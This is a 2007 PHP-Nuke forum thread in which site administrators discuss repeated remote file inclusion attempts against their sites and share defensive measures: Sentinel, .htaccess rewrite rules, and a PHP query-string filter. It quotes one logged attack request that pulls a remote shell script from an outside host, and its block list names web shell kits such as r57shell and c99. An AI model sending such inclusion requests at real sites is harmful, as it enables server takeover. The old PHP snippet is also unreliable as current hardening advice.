Is this an attack??

Site Admin Joined: Aug 17, 2003 Posts: 12349

Well Sentinel does that kind of blocking code. It can also report abusers to your email and ban their IP. You can easily tell Sentinel to block silently if you're not concerned about email reports

Posted: Sat Oct 20, 2007 2:50 am

I'm getting about 20-30 blocks a day by this shell url. Wen people try to hack my site, I'm tracing back the source of the file and email the web/server owner about this. This way I have shut down alot of those urls with those shells. Most of them were hosted on free accounts of tripod.lycos or yahoo, so it was easy to shut them down. But with this site it's not that easy.... Evil or Very Mad

Corporal Joined: Dec 23, 2004 Posts: 65

I hate to jump onto this thread but it looks like I'm having this exact same bunch of hackers after me.

I've been posting in a couple of threads about something that I've been seeing on my site. Am running Nuke 7.5 and Sentinel, and it looks like I've got the same guys after me as the original poster. But I'm wondering if they're getting through. Here's what I've been seeing and in the static portion of my site:

Quote:

/static.php?file=http://amyru.h18.ru/images/cs.txt?

Do the above suggestions apply to me, things that I should modify/change?

Corporal Joined: Dec 23, 2004 Posts: 65

Quote:

RewriteEngine On

RewriteCond %{HTTP_USER_AGENT} ^libwww(-FM|-perl) [OR]
RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
RewriteCond % _CONF [OR]
RewriteCond % tool25 [OR]
RewriteCond % cmd.txt [OR]
RewriteCond % r57shell [OR]
RewriteCond % c99 [OR]
RewriteCond % THEME_DIR
RewriteRule ^.* - [F,L]

RewriteEngine on

RewriteCond %{QUERY_STRING} .*http:\/\/.*
Rewriterule ^.* - [F]]

I did try adding the above in my htaccess, but something wasn't right as I then couldn't access my site....ended up taking it back out...site access is fine again.

Corporal Joined: Dec 23, 2004 Posts: 65

telli wrote:

All of these attacks require loading a file from another server so they have to use a direct link to it. You can block that by simply adding this line of code to your config.php.

Code:

//http and https should not be used in any query string
if (eregi('http', $_SERVER['QUERY_STRING']) || eregi('https', $_SERVER['QUERY_STRING'])) {
header('Location: http://' . $_SERVER['SERVER_NAME']);
exit;
}

I did try the above and based on my logs it looks like it's now been about 12 hours since the last successful attack.

And have also discovered that I can add the following to my htaccess file and not have site problems like when adding the entire recommended addition:

Quote:

RewriteCond %{QUERY_STRING} .*http:\/\/.*
Rewriterule ^.* - [F]